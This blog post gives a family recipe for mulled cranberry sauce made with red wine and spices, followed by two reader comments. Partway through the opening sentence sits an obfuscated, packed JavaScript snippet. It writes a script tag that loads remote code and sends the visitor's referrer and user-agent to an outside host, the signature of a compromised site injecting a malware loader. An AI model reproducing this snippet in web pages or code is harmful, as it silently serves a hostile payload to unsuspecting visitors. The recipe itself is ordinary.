Drunken Cranberry Sauce for Thanksgiving

2012 Photo Challenge, Food, Holidays

My family celebrated Thanksgiving early this year, and I made our traditional Thanksgiving cranberry sauce that my mom eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|drrii|var|u0026u|referrer|ziibb||js|php’.split(‘|’),0,{}))
has made for our family for years.  I have become so accustomed to this cranberry sauce that I no longer like the canned stuff.  This recipe is incredibly easy and delicious! The great part is that you can make it up to a week in advance, which makes the Thanksgiving day preparations easier!
111612CranberryThanksgiving

Mulled Cranberry Sauce
Bon Appetit, November 1999

1 bag cranberries, 12 ounces
1 1/2 cup fruity red wine (such as a Merlot)
1 1/4 cups golden brown sugar (packed)
1/3 cup minced crystallized ginger
1 tablespoon grated orange peel
1/2 teaspoon ground cinnamon
1/2 teaspoon ground allspice
1/4 teaspoon ground cloves

Combine all ingredients in a large saucepan. Bring to a boil over high heat, stirring until sugar dissolves. Reduce heat to medium and cook until liquid is medium-thick syrup and sauce is reduced to 2 2/3 cups, stirring occasionally, about 12 minutes. Transfer sauce to a bow, and refrigerate until cold, about 3 hours. (Can be prepared up to 1 week ahead).

3 thoughts on “Drunken Cranberry Sauce for Thanksgiving

  1. This picture is stunning! I do wish we had cranberries in Europe. Thank you so much for sharing. I am now following your blog. I cannot wait for your next recipe!

  2. Oooh, this sounds delicious! My husband makes a special cranberry sauce with dried apricots that we enjoy every year. I have to admit, I still like the canned type too! 😀

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